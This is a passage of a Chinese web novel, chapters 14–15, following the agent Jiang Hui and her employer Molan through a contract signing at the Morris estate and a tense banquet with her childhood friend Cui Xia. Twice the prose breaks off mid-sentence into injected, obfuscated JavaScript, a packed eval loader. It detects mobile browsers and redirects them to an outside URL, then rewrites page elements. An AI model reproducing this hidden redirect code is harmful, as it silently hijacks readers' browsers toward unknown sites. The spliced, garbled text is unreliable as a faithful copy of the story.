他说:“我每天都在期待见到你。” 14. 十四个雇主 默蓝一出院,就直奔与清水别墅反方向的莫里斯庄园。 莉兰·莫里斯要求他“立即回来见我”,语气不容置喙,十分强硬,并且没有一句废话就把通讯挂了。 “恐怕是为今晚的事。”默蓝说道。 如果不是紧急重大的事情,莉兰从不联系他,有问题也只会通过老管家传话。 江洄陪在他身边。 两人抵达时,莫里斯庄园灯火通明,亮如白昼。 外面还停有几辆车。 乍一看很低调,和平常往来于莫里斯庄园的豪车根本没法比。但稍一细看就会发觉车牌不同寻常。 是公职人员特有的编号,而且看开头首字母,这些车来自一区。 两人对视一眼,心里大致有了底。 一进大厅,江洄就惊讶地看见了熟人。 医生就坐在那里。 只是她今天没有穿白大褂,而是穿着制服,行为举止也不似往常那样随意,而是正襟危坐,灰色的眼睛也透着锐利。 她在翻看一叠纸。 看见江洄,也只点头:“来了。” 莉兰从另一份文件中抬眼,招呼她们:“坐。” 于是江洄与默蓝挨着边坐在她们对面,然后各自被递上一沓文件。两人见状立即迅速浏览文件内容——江洄的是一份解除雇佣关系的合同,默蓝的则是一份保密协议。 “合同本该晚一点让你签,但因为我来处理一些事,就顺便请莫里斯女士把这件事给你一起办了。”医生扬起下巴对她桌上的文件点了一点,“签吧。” 江洄低头看了眼合同。 时限还是写着雇佣关系延续到一个月后。 “明面上你还是要陪在默蓝先生身边一段时间的,不然突然出现,又突然消失,未免太引人注目了点。过几天,星河公报就会把这件案子彻底公开,到时候网上关注的人一定很多。” “不过维萨卡女士已经承诺,但凡和你有关的消息都会压下去,所以你也不必太担心。” 医生把手中厚厚一叠文件归整齐。 又对默蓝说:“默蓝先生,你作为最后一个受害者,也是唯一的幸存者。届时肯定有不少媒体会千方百计地从你口中撬话,希望你明白什么该说,什么不该说。” 默蓝凝视着协议上一行字—— 雇佣关系失效后,与江洄私下联系须提前打申请报告。 “我明白,”他攥着协议的手指泛白,却抿着唇许诺,“我不会给江洄带来任何麻烦,保证不影响她的工作。” “那就好。” 医生点头,说:“签吧。” 默蓝仍旧看着那薄薄的一页纸,直到江洄用笔戳了戳他的手背。他抬眼,江洄对他笑了笑,然后分给他一支笔。 他接过笔,却不动。 “如果我以后还想雇佣江洄……” 医生扬起眉:“你认为你可以私人雇佣一名B.F.A探员?” “虽然她现在还没有正式成为我们的一员,”医生双手交握,审视着他,“但那是迟早的事。她只是需要积累一些资历。” “好了,默蓝。” 莉兰突然打断他,不咸不淡地警告了他一眼。而后淡笑着对医生说:“看来她们相处得很不错。能和一名优秀的B.F.A探员成为朋友,是默蓝的荣幸。” 又斜睨默蓝一眼。 “你刚才的话太失礼了。你和江小姐已经是朋友,再谈交易实在俗气。有什么问题,你完全可以以朋友的身份向江小姐求助。” “当然。” 她非常亲切地对江洄一笑:“如果江小姐有需要,也请不要客气。尽管联系默蓝,或者我。” 江洄也对她笑了笑:“我会的。” 于是。 一阵“沙沙”声后,默蓝签完字。两份文件都重新回到了医生手中。 她确认没有问题,便站起来向莉兰告辞,并拍了拍江洄的肩膀:“对了,还有一件事。三天后,你需要和默蓝先生出席一场宴会,具体注意事项回去后我会发给你。” “好的。” 江洄点头。 莉兰也紧随其后站起来,送医生出门。 “时间也不早了,你们干脆留下来住吧。”莉兰从容地安排道,“明天你活着的消息就会传遍星网,一定有很多记者堵在清水别墅附近。正好你们在这里住几天,避避风头。记者那边我会派人去应付。至于庄园这边,那些人还进不来。” 她吩咐管家在默蓝先生的卧室隔壁收拾出一间客卧。 “三天后政府那边要召集我们开一场会,宴会那边我就不能陪你们去了。你们自己当心。” 说着,莉兰深邃迷人的眼睛停在江洄脸庞。 “到时,还要请您多费心了。” 她微笑着递出手:“这次默蓝的事,真是非常感谢您。” “您太客气了。” 江洄谦逊地握住她的手。 默蓝就在一旁注视着她们交握的手。 如果她们成为家人,一定能相处得很好。他想,江洄看起来似乎对他的家人印象还不坏。而他的姐姐似乎也很欣赏她。 就是不知道江洄的家人会喜欢什么样的人。 她们会喜欢他这样的人成为江洄的配偶吗? 他出神地跟在江洄身后。 两个人上楼,又在默蓝的门外互道晚安。 “不要再想这件事了,”江洄以为他还陷在之前的案子里没有出来,她宽慰道,“你需要好好休息。直到彻底忘记这段时间所有的不愉快。” 默蓝回过神。 “我没有不愉快。”他说。 因为你来了。 他默默在心里道。 “那就祝你好梦。”江洄笑起来。 “你也是。” 默蓝轻声说。 临别前,江洄突然想起来什么似的要他俯身低头。他虽然不明就里,却还是顺从地照办。 然后就得到了一个吻。 …… …… “祝福你。” 江洄说。 她又解释:“当时我有些茫然,不明白你为什么要吻我。后来我思考了一下,觉得或许是一种祝福。”或者表达感激友好的方式。 江洄笑着望向他,再次重复了一遍:“祝福你以后都一帆风顺,不会再遇上糟糕的事。” …… 默蓝怔住了。 他都快以为她忘了。 他还维持着俯身的姿势,只有手轻轻按在额头的位置——似乎还有她呼吸的余温。 为什么不能明天就结婚? 他突然想道。 为什么不能让这样的日子一直持续下去?他魂不守舍地看着江洄最后一片衣角也消失在门缝后,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫里斯庄园为她们安静了整整三天,不曾接待任何客人。 第四天。 江洄举着黑伞在淅淅沥沥的小雨中为默蓝打开车门。 “为什么二区总是在下雨?”她在一区可能半年都见不到几个雨天。 “因为他们觉得这也是一种浪漫。”所以即便本该是晴天,气象局的人也会特意调成雨天,并将多雨天视为二区独有的浪漫。 默蓝与江洄并排在侍从的引领下踏入了宴会厅。 有人走了过来。 “您好,默蓝先生。”他笑着伸出手,“我们长官希望与您见上一面。” 军部的人。 他淡淡扫了眼对方的制服,也伸出手:“您好。” 除非作家那样令他讨厌的人,一般情况下他总是愿意给足基本的社交体面的。 但对方似乎也不是很热络的样子,虽然在笑,却和他一样。刚一碰到指尖,就迅速撤离,好像完成了一次任务交接。 “江小姐吗?”这人又同样笑着对江洄伸出了手,“您好。” 默蓝轻微皱眉。 但没作声。 他以为江洄会拒绝。 然而没有。 她握了上去。 ……江洄注视着眼前这双满含笑意的绿眼睛,也笑起来:“您好。”她目光向下扫过他胸口的铭牌。 “崔夏先生。” 然后默蓝就看见她轻轻掐了一下这只手,又亲昵又默契的。 他突然为刚刚的握手感到了后悔。 15. 十五个雇主 默蓝去见了那位长官。 其实也只是在向他施压,希望他能作为受害人以及莫里斯家族的人出面调和,将两名犯人转移给九区处决。 默蓝从头到尾,没有任何强烈的情绪。 只是淡淡地答道:“这不是我能决定的。” 就走了。 任凭那名军官的面色如何难看,甚至释放出一定的信息素意图从气势上压倒他,也不知悔改、反应淡漠地把军官晾在了一边。 江洄全程注意着对方的动向。 一发现对方面色不善,她的手指就提前按在了裤缝左侧。 脉冲手枪被她调节为眩晕模式,蓄势待发。 幸而,对方克制住了。 她心里暗自松了一口气——在这样的场合,她还是希望尽量不发生冲突的。 一抬头。 崔夏也显而易见地松快了几分。 他也很不情愿给自己易冲动的长官收拾烂摊子。 注意到江洄的眼神,他站在长官身后对她轻轻眨了一下眼睛。 江洄移开目光,嘴角不自觉提起。 ……默蓝把一切都纳入眼底。 他低下了头,一言不发。那张苍白的脸孔又蒙上了淡淡的忧郁。 军官对他这副模样更是气不打一处来,干脆起身要带崔夏往另一处走,眼不见为净。但崔夏却提议让他和默蓝先生聊几句。 “或许默蓝先生又会改变心意也说不定。”他笑道。 军官思索了一秒,点头:“也好,你一向最擅长这种工作。” 就独自离开。 崔夏坐在了默蓝的对面,笑眯眯道:“您似乎有话对我说。” “不,你看错了,”默蓝的语气有些冷淡生硬,“我不认识你,没有话要对你讲。你还是去找你的长官吧。” “好吧,那就当我有话和您说。” 崔夏丝毫不介意他僵硬的态度,反而愈发从容:“听见您平安无事的消息,真是太好了。我前几天一直联系不上江洄,很担心她。现在能亲眼看见她精神很好,我就放心了。” “非常感谢您对江洄的照顾。” 他取出一张烫金的请柬——请柬上的名字是空白的,推给默蓝。 “这封请柬能让您进入三区接下来最具分量的一次拍卖会,在里面您可以拍到许多名画珍藏。据说这次甚至有许多不对外公开的藏品。” 崔夏狡黠地笑道:“请不要拒绝我,我知道您一定是喜欢这份礼物的。” “即便是您,也很难拿到三区的这张请柬。而正巧,我母亲的一位多年老友送给了她这张请柬。她没空去看,便转赠给了我。” “我想,再没有比您更适合收下这份礼物的人了。” 然而默蓝却只是偏开脸。 “如果这是一份普通的礼物,我会收下,并且一定对您十分感谢。但如果这是因为江洄,”他平静地说,“我不能收。” “为什么?”崔夏轻轻挑眉,似乎很惊讶。 “因为我不是在为你照顾江洄。” 默蓝黑色的眼睛盯着他,说:“首先,一直以来都是江洄在照顾我,要感谢的人也是我;其次——” “你太自以为是。” 而他讨厌自以为是的人。 他站起来,意欲离开。 回头却见江洄不动声色在底下踢了崔夏一脚,像是无声的责备。 但是很亲昵。 默蓝的眼睛像被蛰了一下,他仓促地撇开。 江洄起身跟上他,并安慰他不要理崔夏的话。 “但请柬还是可以收下的。”她神色自然地将请柬塞进默蓝外套的口袋,“你既然喜欢这些,为什么不去看看?反正他也不懂什么艺术,让他去也是白糟蹋。” 她对默蓝笑了一下。 默蓝望着她,忽然问:“他是你认识很久的朋友吗?” “是。”江洄笑了笑,“我们话都不怎么说得全时,就认识了。”她还记得以前两家人一起聚餐时,崔夏的妈妈说,她是崔夏学会说的第一个名字。 妈妈、爸爸。 江洄。 连他自己的名字都还舌头打结、说不清时,他已经能指着她笑得很开心:“江、洄。” …… 默蓝有一会儿没做声。 就在崔夏走过来时,他冷不丁问道:“你的朋友喜欢什么?” “……”江洄有些茫然,“崔夏吗?他喜欢模型。你也要送他礼物吗?” “那就不必了。” 崔夏插着裤兜懒洋洋地走过来,说:“我还没什么特别想得到的东西,送礼物对我没有意义。” “那你有特别喜欢的人吗?” 默蓝冷静地反问。 “唔……有。” 崔夏承认了,然后盯着他:“你要让给我吗?” 又倏尔笑起来:“但这种事,你说了不算吧。” “你做不了她的主。”他巧妙地指出。 “我说了,你真的是一个很自以为是的人。”默蓝漠然地顶撞回去,“不要随意地揣测我,我没想过你说的那些事。” “我只是想确认一个答案。” “那你现在确认了?”崔夏问。 默蓝平静地嗯了一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493293|185899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他突然主动握住了江洄的手:“这里太嘈杂了,我闷得难受。我们上楼坐会儿吧。”他说话的声音还是那么轻。 以至于江洄必须凑近了才能听清。 ——宴会厅的人越来越多了。 “要上楼吗?好的。” 江洄立即陪他往前走,路过崔夏时还朝他眨了下眼睛。 崔夏顿时噗哧一声笑出来。 他趁没人注意这里,飞快将她鬓角的碎发勾到她耳后。 然后很识趣地把手背在身后,往后倒走了几步:“那我先走了,过会儿有机会带明树一起来看你。他有点事耽搁了,和他们长官还堵在半道呢。” 说着他笑眯眯地挥了下手。 直到江洄把脸扭过去,背对着他,他才同样转过身,径直往他们研究所的那群人身边走去。 - 侍者将她们引进一间专门空出来的休息室。 默蓝坐下后,蹙眉闭起眼。 他确实不太舒服。 这里并不比那些记者的闪光灯和杂七杂八的问题更让人宁静。也同样的令他厌烦与疲倦。哪怕什么都不做,只是身处其中就足以消耗他大量的精力。 然而,即便就这点休息时间,也没有持续很久。 很快二区政府的人找来了。 默蓝显然也是对他们熟悉的,因此虽然仍旧蹙着眉,却没有拒绝交流的意思。 于是江洄极有眼力见地把空间让给了他们。 她站在门外刷着终端。 却忽然听见隔壁隐约传出一声清脆的声响,像是瓷器碎了。而后是一连串的动静。听着仿佛是不小心把很多东西撞翻,砸在地上。 江洄犹豫了一瞬,还是决定去看看。 门没有锁。 她一推就开了。 她的手贴着裤缝,按在枪身凸起的部位,谨慎地敲了两下门:“您好,出什么事了吗?” 没人回答。 她慢慢地闯进去。 结果里面空无一人,只有一地的花瓶和玻璃碎片。 盥洗室的灯亮着。 她沿着光亮走近,似乎嗅到了什么气味,有点像潮湿的海水。江洄仔细分辨着,同时再次叩响了盥洗室的门。 “有人在里面吗?” 还是没有回答。 但江洄趴在门上,听见了若隐若现的低泣。 她迟疑了一秒,就果断打开门。 刹那间,汹涌的气息夹杂在空气中扑面而来。她有瞬间的晕眩。是信息素。浓度高得就连她一个Beta都能清晰感知到—— 有Omega发情了。